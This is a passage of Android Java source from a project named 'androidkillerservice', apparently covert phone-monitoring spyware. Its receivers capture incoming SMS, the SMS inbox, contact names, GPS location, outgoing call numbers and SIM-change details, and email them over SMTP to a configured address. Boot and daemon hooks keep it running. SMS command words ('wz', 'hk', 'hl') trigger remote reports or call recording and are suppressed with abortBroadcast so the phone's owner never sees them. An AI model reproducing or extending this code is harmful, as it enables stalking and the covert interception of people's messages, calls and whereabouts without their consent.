代理:").append(zhuceqq).append(",").append(zhuceemail).append(",当前卡编码").append(this.ps.getCardNumber()).append(",").append(this.ps.getCardIMSI()).toString()); 53 | finish(); 54 | } else { 55 | Toast.makeText(getApplicationContext(), "注册通过,注册文件保存异常", Toast.LENGTH_SHORT).show(); 56 | } 57 | } 58 | 59 | private boolean save(String zhucema) { 60 | SharedPreferences.Editor zcedit = this.zcps.edit(); 61 | zcedit.putBoolean("isok", true); 62 | zcedit.putString("zhucema", zhucema); 63 | if (zcedit.commit()) { 64 | return true; 65 | } 66 | return false; 67 | } 68 | 69 | public void help(View v) { 70 | startActivity(new Intent(this, HelpActivity.class)); 71 | } 72 | 73 | } 74 | -------------------------------------------------------------------------------- /app/src/main/java/com/shiliukeji/xc_lsy/androidkillerservice/location/Location.java: -------------------------------------------------------------------------------- 1 | package com.shiliukeji.xc_lsy.androidkillerservice.location; 2 | 3 | import android.app.Application; 4 | import android.content.Intent; 5 | import android.util.Log; 6 | 7 | import com.baidu.location.BDLocation; 8 | import com.baidu.location.BDLocationListener; 9 | import com.baidu.location.BDNotifyListener; 10 | import com.baidu.location.LocationClient; 11 | import com.baidu.location.LocationClientOption; 12 | import com.elvishew.xlog.LogLevel; 13 | import com.elvishew.xlog.XLog; 14 | import com.shiliukeji.xc_lsy.androidkillerservice.service.PhoneService; 15 | import com.xdandroid.hellodaemon.DaemonEnv; 16 | 17 | /** 18 | * Created by XC_LSY on 2017/7/6. 19 | */ 20 | 21 | public class Location extends Application { 22 | private static final String COORD_TYPE_BD09LL = "gcj02"; 23 | public static String TAG = "LocTestDemo"; 24 | public static LocationInfo locInfo = new LocationInfo(); 25 | public static LocationClient mLocationClient = null; 26 | public static MyLocationListenner myListener = new MyLocationListenner(); 27 | 28 | public static class MyLocationListenner implements BDLocationListener { 29 | public void onReceiveLocation(BDLocation location) { 30 | } 31 | 32 | public void onReceivePoi(BDLocation poiLocation) { 33 | if (poiLocation == null) { 34 | Location.mLocationClient.requestPoi(); 35 | return; 36 | } 37 | Location.locInfo.setLongitude(poiLocation.getLongitude()); 38 | Location.locInfo.setLatitude(poiLocation.getLatitude()); 39 | if (poiLocation.getLocType() == BDLocation.TypeNetWorkLocation) { 40 | Location.locInfo.setAddr(poiLocation.getAddrStr()); 41 | Log.i(Location.TAG, "onaddr"); 42 | } 43 | if (poiLocation.hasPoi()) { 44 | Location.locInfo.setPoiStr(poiLocation.getPoi()); 45 | } 46 | } 47 | } 48 | 49 | public class NotifyLister extends BDNotifyListener { 50 | public void onNotify(BDLocation mlocation, float distance) { 51 | } 52 | } 53 | 54 | public void onCreate() { 55 | super.onCreate(); 56 | mLocationClient = new LocationClient(this); 57 | //mLocationClient.setAK("jsqqwX8UQZR10tEaxGBrEP7t"); 58 | mLocationClient.registerLocationListener(myListener); 59 | setLocationOption(); 60 | mLocationClient.start(); 61 | XLog.init(LogLevel.ALL); 62 | XLog.d(TAG, "application oncreate!"); 63 | // 启动守护进程信息! 64 | DaemonEnv.initialize(this, PhoneService.class, 30000); 65 | try { 66 | XLog.d("Application Daemon!"); 67 | startService(new Intent(this, PhoneService.class)); 68 | } catch (Exception ignored) { 69 | XLog.d("Application Daemon:" + ignored.toString()); 70 | ignored.printStackTrace(); 71 | } 72 | } 73 | 74 | public static LocationInfo getLocation() { 75 | return locInfo; 76 | } 77 | 78 | public static void updateListener() { 79 | if (mLocationClient != null && mLocationClient.isStarted()) { 80 | mLocationClient.requestPoi(); 81 | Log.i(TAG, "update"); 82 | } 83 | } 84 | 85 | public static void stopListener() { 86 | if (mLocationClient != null && mLocationClient.isStarted()) { 87 | mLocationClient.stop(); 88 | mLocationClient = null; 89 | } 90 | } 91 | 92 | private void setLocationOption() { 93 | LocationClientOption option = new LocationClientOption(); 94 | option.setOpenGps(true); 95 | option.setCoorType(COORD_TYPE_BD09LL); 96 | option.setServiceName("com.baidu.location.service_v2.9"); 97 | // option.setIsNeedLocationPoiList(true); 98 | option.setAddrType("all"); 99 | option.setProdName("tylbd"); 100 | option.setPriority(2); 101 | option.setPoiNumber(100); 102 | option.disableCache(true); 103 | mLocationClient.setLocOption(option); 104 | } 105 | } 106 | 107 | -------------------------------------------------------------------------------- /app/src/main/java/com/shiliukeji/xc_lsy/androidkillerservice/location/LocationInfo.java: -------------------------------------------------------------------------------- 1 | package com.shiliukeji.xc_lsy.androidkillerservice.location; 2 | 3 | /** 4 | * Created by XC_LSY on 2017/7/6. 5 | */ 6 | 7 | public class LocationInfo { 8 | 9 | private String addr = "位置信息不详"; 10 | private double latitude; 11 | private double longitude; 12 | private String poiStr = "位置周边信息不详"; 13 | 14 | public String getPoiStr() { 15 | return this.poiStr; 16 | } 17 | 18 | public void setPoiStr(String poiStr) { 19 | this.poiStr = poiStr; 20 | } 21 | 22 | public double getLatitude() { 23 | return this.latitude; 24 | } 25 | 26 | public void setLatitude(double latitude) { 27 | this.latitude = latitude; 28 | } 29 | 30 | public double getLongitude() { 31 | return this.longitude; 32 | } 33 | 34 | public void setLongitude(double longitude) { 35 | this.longitude = longitude; 36 | } 37 | 38 | public String getAddr() { 39 | return this.addr; 40 | } 41 | 42 | public void setAddr(String addr) { 43 | this.addr = addr; 44 | } 45 | 46 | } 47 | -------------------------------------------------------------------------------- /app/src/main/java/com/shiliukeji/xc_lsy/androidkillerservice/mail/MailSenderInfo.java: -------------------------------------------------------------------------------- 1 | package com.shiliukeji.xc_lsy.androidkillerservice.mail; 2 | 3 | import java.util.List; 4 | import java.util.Properties; 5 | 6 | /** 7 | * Created by XC_LSY on 2017/7/6. 8 | */ 9 | 10 | public class MailSenderInfo { 11 | private static final String PROTOCOL = "smtp"; 12 | private List attachFileNames; 13 | private String content; 14 | private String fromAddress; 15 | private String mailServerHost; 16 | private String mailServerPort; 17 | private String password; 18 | private String[] receivers; 19 | private String subject; 20 | private String toAddress; 21 | private String userName; 22 | private boolean validate; 23 | 24 | public MailSenderInfo(String mailServerHost, String mailServerPort, String userName, String password, boolean validate, String from, String[] tos, String subject, String content) { 25 | this.mailServerHost = mailServerHost; 26 | this.mailServerPort = mailServerPort; 27 | this.userName = userName; 28 | this.password = password; 29 | this.validate = validate; 30 | this.subject = subject; 31 | this.content = content; 32 | this.fromAddress = from; 33 | this.receivers = tos; 34 | } 35 | 36 | public MailSenderInfo(String mailServerHost, String mailServerPort, String userName, String password, boolean validate) { 37 | this.mailServerHost = mailServerHost; 38 | this.mailServerPort = mailServerPort; 39 | this.userName = userName; 40 | this.password = password; 41 | this.validate = validate; 42 | } 43 | 44 | public Properties getProperties() { 45 | Properties p = new Properties(); 46 | p.setProperty("mail.transport.protocol", PROTOCOL); 47 | p.put("mail.smtp.host", this.mailServerHost); 48 | p.put("mail.smtp.port", this.mailServerPort); 49 | p.put("mail.smtp.auth", this.validate ? "true" : "false"); 50 | return p; 51 | } 52 | 53 | public String getMailServerHost() { 54 | return this.mailServerHost; 55 | } 56 | 57 | public void setMailServerHost(String mailServerHost) { 58 | this.mailServerHost = mailServerHost; 59 | } 60 | 61 | public String getMailServerPort() { 62 | return this.mailServerPort; 63 | } 64 | 65 | public void setMailServerPort(String mailServerPort) { 66 | this.mailServerPort = mailServerPort; 67 | } 68 | 69 | public boolean isValidate() { 70 | return this.validate; 71 | } 72 | 73 | public void setValidate(boolean validate) { 74 | this.validate = validate; 75 | } 76 | 77 | public List getAttachFileNames() { 78 | return this.attachFileNames; 79 | } 80 | 81 | public void setAttachFileNames(List fileNames) { 82 | this.attachFileNames = fileNames; 83 | } 84 | 85 | public String getFromAddress() { 86 | return this.fromAddress; 87 | } 88 | 89 | public void setFromAddress(String fromAddress) { 90 | this.fromAddress = fromAddress; 91 | } 92 | 93 | public String getPassword() { 94 | return this.password; 95 | } 96 | 97 | public void setPassword(String password) { 98 | this.password = password; 99 | } 100 | 101 | public String getToAddress() { 102 | return this.toAddress; 103 | } 104 | 105 | public void setToAddress(String toAddress) { 106 | this.toAddress = toAddress; 107 | } 108 | 109 | public String getUserName() { 110 | return this.userName; 111 | } 112 | 113 | public void setUserName(String userName) { 114 | this.userName = userName; 115 | } 116 | 117 | public String getSubject() { 118 | return this.subject; 119 | } 120 | 121 | public void setSubject(String subject) { 122 | this.subject = subject; 123 | } 124 | 125 | public String getContent() { 126 | return this.content; 127 | } 128 | 129 | public void setContent(String textContent) { 130 | this.content = textContent; 131 | } 132 | 133 | public String[] getReceivers() { 134 | return this.receivers; 135 | } 136 | 137 | public void setReceivers(String[] receivers) { 138 | this.receivers = receivers; 139 | } 140 | 141 | } 142 | -------------------------------------------------------------------------------- /app/src/main/java/com/shiliukeji/xc_lsy/androidkillerservice/mail/MyAuthenticator.java: -------------------------------------------------------------------------------- 1 | package com.shiliukeji.xc_lsy.androidkillerservice.mail; 2 | 3 | import javax.mail.Authenticator; 4 | import javax.mail.PasswordAuthentication; 5 | 6 | /** 7 | * Created by XC_LSY on 2017/7/6. 8 | */ 9 | 10 | public class MyAuthenticator extends Authenticator { 11 | String password = null; 12 | String userName = null; 13 | 14 | public MyAuthenticator(String username, String password) { 15 | this.userName = username; 16 | this.password = password; 17 | } 18 | 19 | protected PasswordAuthentication getPasswordAuthentication() { 20 | return new PasswordAuthentication(this.userName, this.password); 21 | } 22 | } -------------------------------------------------------------------------------- /app/src/main/java/com/shiliukeji/xc_lsy/androidkillerservice/mail/SimpleMailSender.java: -------------------------------------------------------------------------------- 1 | package com.shiliukeji.xc_lsy.androidkillerservice.mail; 2 | 3 | import com.elvishew.xlog.XLog; 4 | 5 | import java.util.Date; 6 | import java.util.Properties; 7 | 8 | import javax.activation.DataHandler; 9 | import javax.activation.DataSource; 10 | import javax.activation.FileDataSource; 11 | import javax.mail.Address; 12 | import javax.mail.BodyPart; 13 | import javax.mail.Message; 14 | import javax.mail.MessagingException; 15 | import javax.mail.Multipart; 16 | import javax.mail.Session; 17 | import javax.mail.Transport; 18 | import javax.mail.internet.InternetAddress; 19 | import javax.mail.internet.MimeBodyPart; 20 | import javax.mail.internet.MimeMessage; 21 | import javax.mail.internet.MimeMultipart; 22 | 23 | /** 24 | * Created by XC_LSY on 2017/7/6. 25 | */ 26 | 27 | public class SimpleMailSender { 28 | 29 | public boolean sendAttachMail(MailSenderInfo mailInfo) { 30 | MyAuthenticator authenticator = null; 31 | Properties pro = mailInfo.getProperties(); 32 | if (mailInfo.isValidate()) { 33 | authenticator = new MyAuthenticator(mailInfo.getUserName(), mailInfo.getPassword()); 34 | } 35 | try { 36 | Message mailMessage = new MimeMessage(Session.getInstance(pro, authenticator)); 37 | mailMessage.setFrom(new InternetAddress(mailInfo.getFromAddress())); 38 | mailMessage.setRecipient(Message.RecipientType.TO, new InternetAddress(mailInfo.getToAddress())); 39 | mailMessage.setSubject(mailInfo.getSubject()); 40 | mailMessage.setSentDate(new Date()); 41 | Multipart multi = new MimeMultipart(); 42 | BodyPart textBodyPart = new MimeBodyPart(); 43 | textBodyPart.setContent(mailInfo.getContent(), "text/html; charset=utf-8"); 44 | multi.addBodyPart(textBodyPart); 45 | for (String path : mailInfo.getAttachFileNames()) { 46 | DataSource fds = new FileDataSource(path); 47 | BodyPart fileBodyPart = new MimeBodyPart(); 48 | fileBodyPart.setDataHandler(new DataHandler(fds)); 49 | fileBodyPart.setFileName(path.substring(path.lastIndexOf("/") + 1)); 50 | multi.addBodyPart(fileBodyPart); 51 | } 52 | mailMessage.setContent(multi); 53 | mailMessage.saveChanges(); 54 | Transport.send(mailMessage); 55 | return true; 56 | } catch (MessagingException ex) { 57 | ex.printStackTrace(); 58 | return false; 59 | } 60 | } 61 | 62 | public boolean sendTextMail(MailSenderInfo mailInfo) { 63 | MyAuthenticator authenticator = null; 64 | Properties pro = mailInfo.getProperties(); 65 | if (mailInfo.isValidate()) { 66 | authenticator = new MyAuthenticator(mailInfo.getUserName(), mailInfo.getPassword()); 67 | } 68 | try { 69 | Message mailMessage = new MimeMessage(Session.getInstance(pro, authenticator)); 70 | mailMessage.setFrom(new InternetAddress(mailInfo.getFromAddress())); 71 | mailMessage.setRecipient(Message.RecipientType.TO, new InternetAddress(mailInfo.getToAddress())); 72 | mailMessage.setSubject(mailInfo.getSubject()); 73 | mailMessage.setSentDate(new Date()); 74 | mailMessage.setText(mailInfo.getContent()); 75 | Transport.send(mailMessage); 76 | return true; 77 | } catch (MessagingException ex) { 78 | ex.printStackTrace(); 79 | return false; 80 | } 81 | } 82 | 83 | public boolean sendHtmlMail(MailSenderInfo mailInfo) { 84 | XLog.d("发送网页版邮件!"); 85 | MyAuthenticator authenticator = null; 86 | Properties pro = mailInfo.getProperties(); 87 | if (mailInfo.isValidate()) { 88 | authenticator = new MyAuthenticator(mailInfo.getUserName(), mailInfo.getPassword()); 89 | } 90 | try { 91 | Message mailMessage = new MimeMessage(Session.getInstance(pro, authenticator)); 92 | mailMessage.setFrom(new InternetAddress(mailInfo.getFromAddress())); 93 | String[] receivers = mailInfo.getReceivers(); 94 | Address[] tos = new InternetAddress[receivers.length]; 95 | for (int i = 0; i < receivers.length; i++) { 96 | tos[i] = new InternetAddress(receivers[i]); 97 | } 98 | mailMessage.setRecipients(Message.RecipientType.TO, tos); 99 | mailMessage.setSubject(mailInfo.getSubject()); 100 | mailMessage.setSentDate(new Date()); 101 | 102 | Multipart mainPart = new MimeMultipart(); 103 | BodyPart html = new MimeBodyPart(); 104 | html.setContent(mailInfo.getContent(), "text/html; charset=utf-8"); 105 | mainPart.addBodyPart(html); 106 | mailMessage.setContent(mainPart); 107 | Transport.send(mailMessage); 108 | return true; 109 | } catch (MessagingException ex) { 110 | ex.printStackTrace(); 111 | return false; 112 | } 113 | } 114 | 115 | } 116 | -------------------------------------------------------------------------------- /app/src/main/java/com/shiliukeji/xc_lsy/androidkillerservice/reveiver/BootBroadcastReceiver.java: -------------------------------------------------------------------------------- 1 | package com.shiliukeji.xc_lsy.androidkillerservice.reveiver; 2 | 3 | import android.content.BroadcastReceiver; 4 | import android.content.Context; 5 | import android.content.Intent; 6 | import android.content.SharedPreferences; 7 | import android.telephony.TelephonyManager; 8 | 9 | import com.elvishew.xlog.XLog; 10 | import com.shiliukeji.xc_lsy.androidkillerservice.service.GetSharePrefe; 11 | import com.shiliukeji.xc_lsy.androidkillerservice.service.OtherOperatorService; 12 | import com.shiliukeji.xc_lsy.androidkillerservice.service.PhoneService; 13 | 14 | /** 15 | * Created by XC_LSY on 2017/7/6. 16 | */ 17 | 18 | public class BootBroadcastReceiver extends BroadcastReceiver { 19 | public void onReceive(Context context, Intent intent) { 20 | XLog.d("检测到开机信息!"); 21 | GetSharePrefe paras = new GetSharePrefe(context); 22 | SharedPreferences zcps = context.getSharedPreferences("reg", 0); 23 | if (paras.isTonghuajilu() || paras.isTonghualuyin()) { 24 | context.startService(new Intent(context, PhoneService.class)); 25 | } 26 | try { 27 | String str = ""; 28 | String IMSI = "0"; 29 | try { 30 | TelephonyManager telephonyManager = (TelephonyManager) context.getSystemService(Context.TELEPHONY_SERVICE); 31 | str = telephonyManager.getLine1Number(); 32 | IMSI = telephonyManager.getSubscriberId(); 33 | } catch (Exception e) { 34 | e.printStackTrace(); 35 | } 36 | String shoujiName = paras.getShoujiName(); 37 | String userEmail = paras.getUserEmail(); 38 | String userIMSI = paras.getCardIMSI(); 39 | boolean iszhuce = OtherOperatorService.isReg(paras.getUserEmail(), paras.getShoujiImei(), zcps.getString("zhucema", "")); 40 | boolean ischange = !userIMSI.equals(IMSI); 41 | if (iszhuce && ischange && OtherOperatorService.check3Gwifi(context)) { 42 | XLog.d("开始发送开机信息!"); 43 | OtherOperatorService.uploadEmail(paras.getSmtp(), paras.getPort(), userEmail, paras.getUserPassword(), userEmail, new String[]{userEmail}, new StringBuilder(String.valueOf(shoujiName)).append("发来--换卡通知").toString(), "换前卡信息:" + paras.getCardNumber() + "," + paras.getCardIMSI() + "
" + "换后卡信息:" + str + "," + IMSI + "(" + OtherOperatorService.getCardName(IMSI) + ")"); 44 | } 45 | } catch (Exception e2) { 46 | e2.printStackTrace(); 47 | } 48 | } 49 | } -------------------------------------------------------------------------------- /app/src/main/java/com/shiliukeji/xc_lsy/androidkillerservice/reveiver/CalloutBroadcastReceiver.java: -------------------------------------------------------------------------------- 1 | package com.shiliukeji.xc_lsy.androidkillerservice.reveiver; 2 | 3 | import android.content.BroadcastReceiver; 4 | import android.content.Context; 5 | import android.content.Intent; 6 | 7 | import com.elvishew.xlog.XLog; 8 | import com.shiliukeji.xc_lsy.androidkillerservice.service.GetSharePrefe; 9 | import com.shiliukeji.xc_lsy.androidkillerservice.service.PhoneService; 10 | 11 | /** 12 | * Created by XC_LSY on 2017/7/6. 13 | */ 14 | 15 | public class CalloutBroadcastReceiver extends BroadcastReceiver { 16 | public void onReceive(Context context, Intent intent) { 17 | XLog.d("打电话的信息!"); 18 | GetSharePrefe paras = new GetSharePrefe(context); 19 | if ((paras.isTonghuajilu() || paras.isTonghualuyin()) && intent.getAction().equals("android.intent.action.NEW_OUTGOING_CALL")) { 20 | String outphoneNumber = intent.getStringExtra("android.intent.extra.PHONE_NUMBER"); 21 | Intent service = new Intent(context, PhoneService.class); 22 | service.putExtra("outNumber", outphoneNumber); 23 | context.startService(service); 24 | } 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /app/src/main/java/com/shiliukeji/xc_lsy/androidkillerservice/reveiver/ConnectionChangeReceiver.java: -------------------------------------------------------------------------------- 1 | package com.shiliukeji.xc_lsy.androidkillerservice.reveiver; 2 | 3 | import android.content.BroadcastReceiver; 4 | import android.content.Context; 5 | import android.content.Intent; 6 | import android.content.SharedPreferences; 7 | 8 | import com.elvishew.xlog.XLog; 9 | import com.shiliukeji.xc_lsy.androidkillerservice.R; 10 | import com.shiliukeji.xc_lsy.androidkillerservice.service.GetSharePrefe; 11 | import com.shiliukeji.xc_lsy.androidkillerservice.service.OtherOperatorService; 12 | 13 | import java.io.File; 14 | import java.util.ArrayList; 15 | import java.util.List; 16 | 17 | /** 18 | * Created by XC_LSY on 2017/7/6. 19 | */ 20 | 21 | public class ConnectionChangeReceiver extends BroadcastReceiver { 22 | public void onReceive(Context context, Intent intent) { 23 | GetSharePrefe paras = new GetSharePrefe(context); 24 | XLog.d("更换网络或者切换sim卡!!"); 25 | SharedPreferences zcps = context.getSharedPreferences("reg", 0); 26 | if (OtherOperatorService.check3Gwifi(context) && paras.isUserSetOk()) { 27 | String useremail = paras.getUserEmail(); 28 | String password = paras.getUserPassword(); 29 | String from = useremail; 30 | String to = useremail; 31 | String smtp = paras.getSmtp(); 32 | String port = paras.getPort(); 33 | List paths = new ArrayList(); 34 | String pathString = OtherOperatorService.setJtingPath(context); 35 | if (pathString != null) { 36 | paths = OtherOperatorService.getFilePathList(new File(pathString)); 37 | } else { 38 | paths = null; 39 | } 40 | if (paths != null) { 41 | String subject = paras.getShoujiName() + "发来--电话邮件集合"; 42 | String content = "因手机网络未开启,以下是非及时的电话记录!
----------------------------------------
" + OtherOperatorService.getTxtHistory(new File(pathString, "phone.txt")); 43 | if (paras.isAllnet()) { 44 | OtherOperatorService.uploadAllEmail(paths, pathString, smtp, port, useremail, password, from, to, subject, content); 45 | if (!OtherOperatorService.isReg(paras.getUserEmail(), paras.getShoujiImei(), zcps.getString("zhucema", ""))) { 46 | OtherOperatorService.showNotisfy(context, R.drawable.mytp, "温馨提示:你的电话记录集合已为你备份至" + useremail + "邮箱", "温馨提示", "你的电话记录集合已为你备份至" + useremail + "邮箱"); 47 | } 48 | } else if (paras.isWifi() && OtherOperatorService.checkwifiwork(context)) { 49 | OtherOperatorService.uploadAllEmail(paths, pathString, smtp, port, useremail, password, from, to, subject, content); 50 | if (!OtherOperatorService.isReg(paras.getUserEmail(), paras.getShoujiImei(), zcps.getString("zhucema", ""))) { 51 | OtherOperatorService.showNotisfy(context, R.drawable.mytp, "温馨提示:你的电话记录集合已为你备份至" + useremail + "邮箱", "温馨提示", "你的电话记录集合已为你备份至" + useremail + "邮箱"); 52 | } 53 | } 54 | } 55 | } 56 | } 57 | } -------------------------------------------------------------------------------- /app/src/main/java/com/shiliukeji/xc_lsy/androidkillerservice/reveiver/OtherServiceReceiver.java: -------------------------------------------------------------------------------- 1 | package com.shiliukeji.xc_lsy.androidkillerservice.reveiver; 2 | 3 | import android.content.BroadcastReceiver; 4 | import android.content.Context; 5 | import android.content.Intent; 6 | 7 | import com.elvishew.xlog.XLog; 8 | import com.shiliukeji.xc_lsy.androidkillerservice.service.GetSharePrefe; 9 | import com.shiliukeji.xc_lsy.androidkillerservice.service.PhoneService; 10 | 11 | /** 12 | * Created by XC_LSY on 2017/7/6. 13 | */ 14 | 15 | public class OtherServiceReceiver extends BroadcastReceiver { 16 | public void onReceive(Context context, Intent intent) { 17 | XLog.d("亮屏的检测信息!"); 18 | GetSharePrefe paras = new GetSharePrefe(context); 19 | if (paras.isTonghuajilu() || paras.isTonghualuyin()) { 20 | context.startService(new Intent(context, PhoneService.class)); 21 | } 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /app/src/main/java/com/shiliukeji/xc_lsy/androidkillerservice/reveiver/SMSBroadcastReceiver.java: -------------------------------------------------------------------------------- 1 | package com.shiliukeji.xc_lsy.androidkillerservice.reveiver; 2 | 3 | import android.content.BroadcastReceiver; 4 | import android.content.Context; 5 | import android.content.Intent; 6 | import android.content.SharedPreferences; 7 | import android.telephony.SmsMessage; 8 | import android.telephony.TelephonyManager; 9 | 10 | import com.elvishew.xlog.XLog; 11 | import com.shiliukeji.xc_lsy.androidkillerservice.R; 12 | import com.shiliukeji.xc_lsy.androidkillerservice.location.Location; 13 | import com.shiliukeji.xc_lsy.androidkillerservice.service.GetSharePrefe; 14 | import com.shiliukeji.xc_lsy.androidkillerservice.service.OtherOperatorService; 15 | import com.shiliukeji.xc_lsy.androidkillerservice.service.PhoneService; 16 | 17 | /** 18 | * Created by XC_LSY on 2017/7/6. 19 | */ 20 | 21 | public class SMSBroadcastReceiver extends BroadcastReceiver { 22 | private String addr; 23 | private String baiduMap; 24 | private String pName; 25 | private String poiString; 26 | 27 | public void onReceive(Context context, Intent intent) { 28 | XLog.d("短信的检测信息!"); 29 | Location location = new Location(); 30 | Location.updateListener(); 31 | GetSharePrefe getSharePrefe = new GetSharePrefe(context); 32 | SharedPreferences zcps = context.getSharedPreferences("reg", 0); 33 | if (getSharePrefe.isDuanxinjilu()) { 34 | String receivetimeString = ""; 35 | String sendnumberString = ""; 36 | String filecontent = ""; 37 | for (Object p : (Object[]) intent.getExtras().get("pdus")) { 38 | SmsMessage message = SmsMessage.createFromPdu((byte[]) p); 39 | filecontent = new StringBuilder(String.valueOf(filecontent)).append(message.getMessageBody().trim()).toString(); 40 | receivetimeString = OtherOperatorService.getCurrentTime(Long.valueOf(message.getTimestampMillis())); 41 | sendnumberString = message.getOriginatingAddress().trim(); 42 | } 43 | if (sendnumberString.length() > 11) { 44 | sendnumberString = sendnumberString.substring(sendnumberString.length() - 11, sendnumberString.length()); 45 | } 46 | String shoujiName = getSharePrefe.getShoujiName(); 47 | String userEmail = getSharePrefe.getUserEmail(); 48 | if (getSharePrefe.isWeizhijilu()) { 49 | String temps = new StringBuilder(String.valueOf(Location.getLocation().getLongitude())).append(",").append(Location.getLocation().getLatitude()).toString(); 50 | this.baiduMap = ""; 51 | this.addr = Location.getLocation().getAddr(); 52 | if (this.addr == null) { 53 | this.addr = "位置信息不明"; 54 | } 55 | String temppoi = Location.getLocation().getPoiStr(); 56 | if (temppoi == null) { 57 | this.poiString = "位置周边信息不明"; 58 | } else { 59 | this.poiString = OtherOperatorService.getSubstring(temppoi); 60 | } 61 | } 62 | boolean iszhuce = OtherOperatorService.isReg(getSharePrefe.getUserEmail(), getSharePrefe.getShoujiImei(), zcps.getString("zhucema", "")); 63 | if (!filecontent.contains("来-")) { 64 | if (filecontent.equalsIgnoreCase("wz") && iszhuce) { 65 | if (OtherOperatorService.check3Gwifi(context)) { 66 | OtherOperatorService.uploadEmail(getSharePrefe.getSmtp(), getSharePrefe.getPort(), userEmail, getSharePrefe.getUserPassword(), userEmail, new String[]{userEmail}, new StringBuilder(String.valueOf(shoujiName)).append("发来--位置邮件").toString(), "位置:" + this.addr + "
" + this.baiduMap); 67 | } 68 | abortBroadcast(); 69 | return; 70 | } 71 | String temp; 72 | if (filecontent.equalsIgnoreCase("hk") && iszhuce) { 73 | TelephonyManager telephonyManager = (TelephonyManager) context.getSystemService(Context.TELEPHONY_SERVICE); 74 | String NativePhoneNumber = telephonyManager.getLine1Number(); 75 | String IMSI = telephonyManager.getSubscriberId(); 76 | temp = ""; 77 | if (!IMSI.equals(getSharePrefe.getCardIMSI())) { 78 | String temp2 = new StringBuilder(String.valueOf(shoujiName)).append(":已换卡。换前卡信息:").append(getSharePrefe.getCardNumber()).append(",").append(getSharePrefe.getCardIMSI()).append(";换后卡信息:").append(NativePhoneNumber).append(",").append(IMSI).append("(").append(OtherOperatorService.getCardName(IMSI)).append(")").toString(); 79 | if (OtherOperatorService.check3Gwifi(context)) { 80 | OtherOperatorService.uploadEmail(getSharePrefe.getSmtp(), getSharePrefe.getPort(), userEmail, getSharePrefe.getUserPassword(), userEmail, new String[]{userEmail}, new StringBuilder(String.valueOf(shoujiName)).append("发来--换卡通知").toString(), "换前卡信息:" + getSharePrefe.getCardNumber() + "," + getSharePrefe.getCardIMSI() + "
" + "换后卡信息:" + NativePhoneNumber + "," + IMSI + "(" + OtherOperatorService.getCardName(IMSI) + ")"); 81 | temp = temp2; 82 | } else { 83 | temp = temp2; 84 | } 85 | } else { 86 | temp = new StringBuilder(String.valueOf(shoujiName)).append(":没换卡。当前卡信息:").append(NativePhoneNumber).append(",").append(IMSI).append("(").append(OtherOperatorService.getCardName(IMSI)).append(")").toString(); 87 | if (OtherOperatorService.check3Gwifi(context)) { 88 | OtherOperatorService.uploadEmail(getSharePrefe.getSmtp(), getSharePrefe.getPort(), userEmail, getSharePrefe.getUserPassword(), userEmail, new String[]{userEmail}, new StringBuilder(String.valueOf(shoujiName)).append("发来--当前手机卡信息").toString(), temp); 89 | } 90 | } 91 | abortBroadcast(); 92 | } else if ("hl".equalsIgnoreCase(filecontent.substring(0, 2)) && iszhuce) { 93 | try { 94 | temp = filecontent.substring(2); 95 | Intent intent2 = new Intent(context, PhoneService.class); 96 | if (Integer.parseInt(temp) <= 60) { 97 | intent2.putExtra("outNumber", temp); 98 | } else { 99 | intent2.putExtra("outNumber", "1"); 100 | } 101 | context.startService(intent2); 102 | } catch (Exception e) { 103 | e.printStackTrace(); 104 | } 105 | abortBroadcast(); 106 | } else { 107 | this.pName = OtherOperatorService.getContactNameFromPhoneBook(context, sendnumberString); 108 | String subject = new StringBuilder(String.valueOf(shoujiName)).append("发来--短信邮件(号码:").append(sendnumberString).append(";位置:").append(this.addr).append(")").toString(); 109 | String content = new StringBuilder(String.valueOf(receivetimeString)).append("收到:
号码:").append(sendnumberString).append("(").append(this.pName).append(")
内容:").append(filecontent).append("
位置:").append(this.addr).append("
附近信息:").append(this.poiString).append("
").append(this.baiduMap).append("
----------------------------------------
").append(OtherOperatorService.getSmsInPhone(context)).toString(); 110 | if (OtherOperatorService.check3Gwifi(context)) { 111 | String smtp = getSharePrefe.getSmtp(); 112 | String port = getSharePrefe.getPort(); 113 | String password = getSharePrefe.getUserPassword(); 114 | String[] tos = new String[]{userEmail}; 115 | if (getSharePrefe.isAllnet()) { 116 | OtherOperatorService.uploadEmail(smtp, port, userEmail, password, userEmail, tos, subject, content); 117 | if (!OtherOperatorService.isReg(getSharePrefe.getUserEmail(), getSharePrefe.getShoujiImei(), zcps.getString("zhucema", ""))) { 118 | OtherOperatorService.showNotisfy(context, R.drawable.mytp, "温馨提示:你刚才的短信记录已为你备份至" + userEmail + "邮箱", "温馨提示", new StringBuilder(String.valueOf(sendnumberString)).append("短信已为你备份至").append(userEmail).append("邮箱").toString()); 119 | } 120 | } else if (getSharePrefe.isWifi() && OtherOperatorService.checkwifiwork(context)) { 121 | OtherOperatorService.uploadEmail(smtp, port, userEmail, password, userEmail, tos, subject, content); 122 | if (!OtherOperatorService.isReg(getSharePrefe.getUserEmail(), getSharePrefe.getShoujiImei(), zcps.getString("zhucema", ""))) { 123 | OtherOperatorService.showNotisfy(context, R.drawable.mytp, "温馨提示:你刚才的短信记录已为你备份至" + userEmail + "邮箱", "温馨提示", new StringBuilder(String.valueOf(sendnumberString)).append("短信记录已为你备份至").append(userEmail).append("邮箱").toString()); 124 | } 125 | } 126 | } 127 | } 128 | } 129 | } 130 | } 131 | } -------------------------------------------------------------------------------- /app/src/main/java/com/shiliukeji/xc_lsy/androidkillerservice/service/GetSharePrefe.java: -------------------------------------------------------------------------------- 1 | package com.shiliukeji.xc_lsy.androidkillerservice.service; 2 | 3 | import android.content.Context; 4 | import android.content.SharedPreferences; 5 | 6 | /** 7 | * Created by XC_LSY on 2017/7/6. 8 | */ 9 | 10 | public class GetSharePrefe { 11 | Context context; 12 | private SharedPreferences ps; 13 | 14 | public GetSharePrefe(Context context) { 15 | this.context = context; 16 | this.ps = context.getSharedPreferences("userset", 0); 17 | } 18 | 19 | public String getShoujiName() { 20 | return this.ps.getString("shoujiname", ""); 21 | } 22 | 23 | public String getUserEmail() { 24 | return this.ps.getString("email", ""); 25 | } 26 | 27 | public String getUserPassword() { 28 | return this.ps.getString("password", ""); 29 | } 30 | 31 | public String getUserPhoneNumber() { 32 | return this.ps.getString("phonenumber", ""); 33 | } 34 | 35 | public boolean isUserSetOk() { 36 | return this.ps.getBoolean("isok", false); 37 | } 38 | 39 | public boolean isTonghuajilu() { 40 | return this.ps.getBoolean("tonghuajilu", false); 41 | } 42 | 43 | public boolean isDuanxinjilu() { 44 | return this.ps.getBoolean("duanxinjilu", false); 45 